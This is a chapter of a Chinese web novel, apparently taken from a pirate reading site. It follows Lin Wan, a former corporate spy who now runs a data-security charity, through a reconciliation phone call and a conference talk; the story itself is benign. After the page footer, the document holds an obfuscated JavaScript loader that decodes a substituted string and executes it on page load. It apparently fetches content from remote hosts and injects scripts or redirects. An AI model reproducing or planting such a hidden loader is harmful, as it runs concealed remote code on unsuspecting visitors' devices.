首页
第291章续1 镜中回声
返回
关灯 护眼:关 字号:小

第291章续1 镜中回声

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第291章续1镜中回声(第1/2页)
    车子驶上机场高速时,林晚的手机屏幕亮了起来。是姚浮萍发来的邮件,标题简洁如她本人:“《数据安全白皮书》技术批注及补充建议”。
    附件除了标注详尽的PDF,还有一个加密的代码文件,密码是她们五年前共同修复“五彩绫镜”漏洞时用过的那串数字——一个只有她们两人知道的纪念。
    林晚戴上蓝牙耳机,让车载系统朗读邮件正文:
    “林晚:批注见附件。第三章节关于‘差分隐私在公益数据中的应用’部分,理论框架完整但实践案例不足。我附了一个模拟数据集的脱敏算法模型,基于你们组织正在进行的‘乡村医疗数据保护’项目场景优化。可开源,需注明引用。
    另,你下周演讲的技术部分,建议增加三个方向:1)联邦学习与数据不动性的伦理悖论;2)量子计算对现有加密体系的潜在冲击时间线;3)AI生成内容作为新型数据污染源的识别方案。
    姚浮萍”
    邮件的最后,破天荒地加了一行小字:“菜园的番茄,下周应该熟了。可摘。”
    林晚忍不住微笑。这就是姚浮萍式的关怀——用技术包裹的温度。她回复:“批注收到,感激不尽。番茄我会去摘,顺便尝尝你实验室种的那批‘抗病毒生菜’。”
    关闭邮件,她打开日程本。下周的行程密密麻麻:周一深圳会议,周二回北京准备演讲,周三庆典彩排,周四正式演讲,周五与龙胆科技基金会签约,周六飞成都参加全国数据安全峰会……
    指尖划过“龙胆科技十周年庆典”那一栏,她停顿了片刻。五年了,她以为自己已经彻底放下,但真正要重新站上那个舞台,面对可能认出她的旧面孔、可能质疑她的新员工、可能挖旧账的媒体,心跳还是不由自主地加快了。
    车子在机场地下停车场停稳。林晚拖着行李箱走向候机楼,手机再次震动——这次是视频通话请求,来自“明镜数据安全公益组织”的执行总监陈默。
    “林姐,抱歉这么晚打扰你。”屏幕上的年轻人戴着黑框眼镜,背景是组织办公室的白板墙,上面密密麻麻写满了项目进度,“深圳会议的材料已经发你邮箱了,但有个突发情况需要你决断。”
    “你说。”
    “刚才收到民政局的电话,关于我们申请‘青少年数字素养培育’政府购买服务那个项目。”陈默推了推眼镜,语气急促,“他们说初审通过了,但有一个附加条件:需要合作方提供‘无违法犯罪记录证明’,而且是核心团队成员都要提供。”
    林晚的脚步停在了候机楼的玻璃幕墙前。窗外,飞机的航行灯在夜空中划过一道道光线。
    “他们特别提到了你。”陈默的声音低了下去,“说是‘根据相关规定,社会组织负责人需要具备良好的社会信誉’。”
    沉默在通话两端蔓延。深圳夜晚潮湿的风透过玻璃门的缝隙吹进来,带着南方城市特有的温热。
    “林姐,要不我们换一个项目负责人去签合同?用我的名义——”
    “不用。”林晚打断他,声音平静得出奇,“把民政局的具体要求发我,包括相关文件编号。另外,帮我约龙胆科技的法务总监,明天下午三点,线上会议。”
    “可是——”
    “陈默,我们做的是数据安全公益教育。”林晚看着玻璃中自己的倒影,“如果我们自己都选择回避过去,还怎么教年轻人勇敢面对数字世界的复杂?发材料吧,我来处理。”
    挂断电话,她站在人来人往的候机大厅中央,有那么一瞬间的恍惚。五年了,那个“污点”依然如影随形,像数据世界里无法彻底删除的备份,总在某些时刻跳出来,提醒她曾经的身份。
    她深吸一口气,打开手机通讯录,找到了一个五年未曾拨打的号码。手指悬在屏幕上几秒,最终还是按了下去。
    “喂?”
    电话那头的声音有些嘈杂,像是在某个活动现场。林晚辨认出背景音里有孩子的笑声和音乐声。
    “张弛,是我,林晚。”
    电话那头沉默了足足十秒。
    “......真没想到。”张弛的声音低了下去,背景音也迅速变小,似乎是他走到了安静处,“五年了,林晚。”
    “我知道这个电话很冒昧。”林晚握紧了手机,“但我需要你的帮助——不,应该说,我需要你的一份证明。”
    她快速说明了情况:政府购买服务项目、需要的社会信誉证明、民政局的具体要求。
    张弛听完,在电话那头笑了,笑声里有一种复杂的情绪:“所以你现在也需要‘清白证明’了?当年你匿名举报我的时候,有没有想过有一天自己也会面临同样的困境?”
    “我想过。”林晚诚实地说,“这五年,我每天都在想。”
    机场广播开始播报她的航班登机通知。林晚没有动。
    “张弛,我不求你的原谅。但我想告诉你,当年举报你之后,我连续三个月失眠。不是因为害怕暴露,而是因为我知道,我为了自保,毁掉了一个人的职业生涯。这种负罪感,比任何惩罚都重。”
    电话那头传来打火机的声音,然后是一声长长的叹息。
    “你知道我后来是怎么走出来的吗?”张弛的声音变得有些遥远,“我被龙胆科技辞退后,有半年时间找不到工作。行业里都知道我是‘泄露数据’被开除的——虽然最后证明那不是我干的。我去了二线城市,用所有积蓄开了家小店,专修手机、恢复数据。”
    “有一次,一个老太太拿着她去世儿子的手机来找我,说里面存着儿子生前的录音,是她唯一能听见儿子声音的东西。手机进水,主板烧了,所有数据恢复公司都说没救。我在店里熬了四天三夜,最后从一颗存储芯片的残存磁区里,恢复出了三秒的录音——就一句‘妈,生日快乐’。”
    张弛停顿了一下,声音有些哽咽:“老太太拿着录音哭了整整一个小时。那一刻我突然明白了:技术本身没有善恶,是使用技术的人赋予了它意义。我曾经用技术谋取私利,你也可以用技术陷害他人。但我们最终都可以选择,用技术去做一些有温度的事。”
    候机大厅的灯光在林晚眼中模糊成一片光晕。
    “你需要什么证明?”张弛问,“我可以写一份说明,证明当年的事已经和解,证明你这五年的公益工作我都有关注,证明你现在是一个值得信任的人。”
    “这样就够了。”林晚轻声说,“谢谢你。”
    “别谢我。”张弛的声音恢复了平静,“我这么做,不是为了你,是为了当年那个在我小店门口徘徊了三天的年轻人——他拿着被误删的毕业论文来找我,说如果找不回来,他可能就放弃了。我帮他恢复了数据,后来他考上了研究生。他去年来看我,说‘张叔,你救了我的未来’。”
    “你看,林晚,我们都在用自己的方式弥补。”张弛顿了顿,“对了,你告诉龙胆草,我那小公司去年拿到了高新技术企业认证。虽然规模没法跟龙胆科技比,但养活二十几个员工,每年还能帮警方恢复几起案件的电子证据,挺好。”
    通话结束前,张弛突然说:“你当年举报我,其实是对的。”
    林晚愣住了。
    “那时候的我,确实动了歪心思。”张弛苦笑,“虽然最终的数据泄露不是我干的,但我确实收了荆棘科技的钱,准备偷‘星链’的部分代码。你举报之后,我被调查,反而断了那个念头。某种程度上,你阻止了我犯更大的错。”
    “所以,别背着那么重的包袱。我们都往前走了,你也该真正放下。”
    电话挂断了。林晚站在原地,看着手机屏幕暗下去,上面倒映出候机大厅璀璨的灯火。
    最后一次登机广播响起。她拉起行李箱,快步走向登机口。
    两个半小时后,飞机降落在深圳宝安机场。南方夜晚的空气温热潮湿,林晚打开手机,收到了陈默发来的民政局文件扫描件,以及张弛已经写好的证明信电子版。
    证明信的措辞严谨克制,但字里行间透出一种历经沧桑后的通达。张弛详细说明了当年之事件的始末,证实了林晚后来在数据安全领域的公益贡献,最后写道:“人非圣贤,孰能无过。过而能改,善莫大焉。林晚女士用五年时间完成的转变,足以证明她的社会信誉与职业操守。”
    信的末尾,他附上了自己公司的工商注册号和高新技术企业证书编号:“以上信息皆可公开查询验证。”
    林晚把证明信转发给龙胆科技的法务总监,附言:“明早九点,线上会议前请您先过目。另,我会提供完整的事件时间线与后续五年的公益活动记录作为补充材料。”
    法务总监很快回复:“收到。林顾问,其实公司档案室一直保留着你当年转为污点证人后的所有工作记录,包括三次获得‘年度安全贡献奖’的表彰文件。这些都可以作为辅助证明。”
    林晚看着这条消息,眼眶忽然发热。
    原来,那些她以为早已被遗忘的细节,都还好好地保存在某个地方。原来,那些她曾经不敢面对的过去,早已被时间重新编辑,变成了她人生故事中不可或缺的章节。
    到达酒店已经是凌晨一点。林晚洗完澡,却没有睡意。她打开笔记本电脑,开始修改下周的演讲稿。
    (本章未完,请点击下一页继续阅读)第291章续1镜中回声(第2/2页)
    原本技术性很强的讲稿,被她重新解构。她在开头加入了张弛的故事——隐去姓名,但保留了那个“从数据恢复技术员到帮助警方破案的社会贡献者”的核心脉络。她写下了姚浮萍那封邮件里关于“番茄熟了”的细节,写下了九里香如何将她的故事改编为企业文化案例,写下了龙胆草和曹辛夷在湖边握手的那个瞬间。
    她写下的,不再是一个“前商业间谍的忏悔录”,而是一个关于成长、救赎与技术伦理的复合叙事。
    “数据安全不仅是技术问题,更是人性问题。”她在讲稿中写道,“每一个漏洞背后,都可能是某个程序员的疏忽、某个管理者的侥幸、某个使用者的无知,或者,某个曾经迷失者的错误选择。而我们修复漏洞的过程,既是修复系统,也是修复自己。”
    “五年前,我因为恐惧而破坏规则;五年后,我因为责任而建立规则。这中间的转变,不是因为技术的进步,而是因为人的成长——因为我有幸遇到了愿意给我第二次机会的人,因为我看见了技术可以创造的温暖,因为我终于明白,真正的强大不是永远不犯错,而是犯错后还有勇气重新站起来。”
    写到此处,窗外已经泛起了鱼肚白。深圳的清晨来得早,晨光透过窗帘的缝隙,在酒店房间的地毯上投下一道金边。
    林晚保存文档,给自己倒了杯水。手机屏幕亮起,是龙胆草发来的消息:“法务部已审阅所有材料,认为充分。民政局那边,公司可以出具正式担保函。”
    紧随其后的是曹辛夷的消息:“演讲如果需要试讲,我和龙胆可以当听众。菜园的番茄这周末确实能摘了,给你留最红的那几串。”
    然后是九里香:“企业***想采访你,为内部刊物做专题。不急,等你演讲结束后。”
    最后是姚浮萍,在凌晨四点发来的——她果然又熬夜了:“差分隐私算法模型已优化完毕,效率提升18%。附件是更新版。PS:番茄留几颗给我,实验室种的口感不如菜园的。”
    林晚一条条回复。当她打下“谢谢”两个字时,忽然意识到,这五年间,她已经很少说这个词了。不是因为她不懂感恩,而是因为这些帮助与关怀已经如此自然地融入她的生活,成为支撑她走下去的日常力量。
    上午九点,与龙胆科技法务总监的线上会议准时开始。对方是个干练的中年女性,戴着无框眼镜,屏幕背景是堆满法律典籍的书架。
    “林顾问,所有材料已经整合完毕。”法务总监推了推眼镜,“根据我们的评估,民政局的要求在法律框架内,但存在过度解读相关条款的嫌疑。我们建议双管齐下:一方面提交您个人的全套证明文件,另一方面由龙胆科技出具正式担保函,强调您过去五年与公司的合作关系及社会贡献。”
    她调出一份文件:“此外,我们发现民政局这个项目去年的合作方中,有一家科技公司曾涉及用户数据泄露事件,但当时并未被要求提供类似证明。这可以作为平等原则的论证依据——如果您需要的话。”
    林晚沉思片刻:“先以正面材料为主吧。如果确实遇到障碍,再考虑其他方式。”
    “明智的选择。”法务总监点头,“龙总特别交代,这件事要处理得既合法合规,又体现人文关怀。他说‘林晚已经用五年时间证明了自己,不需要再被过去的影子困扰’。”
    会议结束后,林晚换了身正装,前往深圳会议中心。今天的数据安全行业峰会规模不小,来了不少头部企业的代表。她在签到处领到参会证时,听到旁边两个年轻人在议论:
    “听说今天下午有个专场,讲公益组织如何做数据安全科普。”
    “是‘明镜’那个组织吧?我看过他们的白皮书,写得挺实在,不像有些机构只会唱高调。”
    “创始人好像是个女的,以前在龙胆科技干过?”
    “嗯,听说还挺传奇的,具体不清楚……”
    林晚面色如常地从他们身边走过,心里却泛起涟漪。这就是她现在的身份——一个“挺传奇”但“具体不清楚”的行业人士。某种程度上,这种模糊性是一种保护,也是一种鞭策:人们记住的是她现在的作为,而不是过去的身份。
    下午的专场演讲,能容纳两百人的会议室坐满了四分之三。林晚走上讲台,调整了一下麦克风。大屏幕上投出她的PPT首页:一面破碎的镜子正在被一点点修复,最终映照出完整的星空。标题是:“从漏洞到补丁:一个数据安全从业者的五年修复日志”。
    她没有按照常规的自我介绍开场,而是直接讲了一个故事:
    “2018年春天,北京某个科技公司的服务器里,出现了一个异常数据访问记录。访问者利用实习生权限,试图获取核心项目的用户画像数据。系统防火墙发出警报,安全团队介入调查。那个访问者坐在工位上,手心全是汗,她知道自己的职业生涯——甚至可能人生——将在接下来的几分钟内被决定。”
    会议室安静下来。
    “后来发生了什么?”林晚切换PPT,出现一张模糊处理过的照片——龙胆科技当年那个简陋的天台菜园,几个身影围坐在小桌前,“后来,那家公司的创始人给了她第二次机会。不是因为天真,而是因为他相信,一个已经认识到错误价值的人,会比从未犯错的人更懂得如何防止错误。”
    “那个访问者,就是我。”
    台下响起轻微的吸气声。林晚看见前排几个年轻人睁大了眼睛。
    “今天我不打算详述当年的细节,因为那已经过去了。我想分享的是这五年间,我从一个‘系统漏洞’变成‘安全补丁’的过程。”
    接下来的四十分钟,她讲了明镜组织如何在山区学校开展数据安全教育,如何帮助小微企业建立基础的数据保护体系,如何在隐私保护和数据开放之间寻找平衡点。她分享了成功案例,也坦承了失败教训——比如那个因为过于复杂的加密方案导致老年用户无法使用的健康数据项目。
    演讲结束时,掌声持续了很长时间。提问环节,第一个举手的是个戴眼镜的男生:
    “林老师,您认为一个曾经犯过严重职业道德错误的人,还有可能在这个行业获得信任吗?”
    问题很直接,甚至有些尖锐。所有人的目光都聚焦在林晚身上。
    “可能,但不容易。”林晚诚实回答,“需要付出比常人更多的努力,需要持续用行动证明改变,需要接受自己可能永远无法完全摆脱那个标签的现实。但更重要的是,”她顿了顿,“你需要找到自己真正的价值所在——不是急于证明自己‘已经改好’,而是专注于你能为这个行业、为社会创造什么真正的价值。当你的价值足够大时,人们会重新定义你。”
    另一个提问者问:“您和龙胆科技现在是什么关系?他们资助您的组织,是否带有‘赎罪’或‘控制’的性质?”
    林晚笑了:“我们是合作关系。龙胆科技基金会每年评估数百个项目,明镜组织只是其中之一。至于资助动机——我宁愿相信,这是一家有社会责任感的企业在支持一个有价值的公益事业。至于过去,那已经是合作背景的一部分,但不是全部。”
    演讲结束后,她被听众团团围住。有人要联系方式,有人咨询具体技术问题,还有个公益组织负责人想探讨合作可能。林晚耐心地一一回应,直到工作人员过来提醒会场要清场了。
    走出会议中心,深圳傍晚的天空被晚霞染成橘红色。林晚站在台阶上,打开手机,拍了一张天空的照片,发到了那个五年未变的微信群——群名还是“五彩绫镜项目组”,虽然项目早已升级迭代多次,群里的人也来来去去,但核心的几个人一直都在。
    她配了一行字:“深圳的晚霞,像不像当年我们熬夜修复漏洞时,窗外北京黎明的颜色?”
    几分钟后,回复陆续来了。
    曹辛夷:“更像菜园番茄熟透的颜色。”
    九里香:“已保存,作为企业文化素材库‘奋斗时光’分类的新图片。”
    姚浮萍:“光谱分析显示色温偏暖,与北京黎明时的散射光不同。但从美学角度,可接受。”
    龙胆草:“下周回来,菜园的番茄正好。保存体力,别太累。”
    林晚看着这些回复,站在异乡的暮色里,忽然感到一种前所未有的平静。过去不再是她需要拼命奔跑才能逃离的阴影,而成了她之所以能站在这里的基石。那些错误、愧疚、救赎、成长,已经交织成她生命图谱中无法剥离的经纬。
    她不再是那个需要被原谅的林晚,而是正在创造价值的林晚。
    手机又震动了一下,是陈默发来的消息:“林姐,民政局那边回复了,说材料已收到,项目进入下一轮评审!另外,有个好消息——张弛先生刚才联系我们,说想以他公司的名义,捐赠一批数据恢复设备给我们的培训中心!”
    林晚抬起头,深深吸了一口南方夜晚温热的空气。远处的城市灯火渐次亮起,每一盏灯背后,都是一个正在运行的数字系统,都有数据在流动,都有需要被守护的隐私与需要被防止的漏洞。
    而她,正是这庞大生态系统中的一个修复者。
    这感觉,很好。
    (第291章续1完)
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();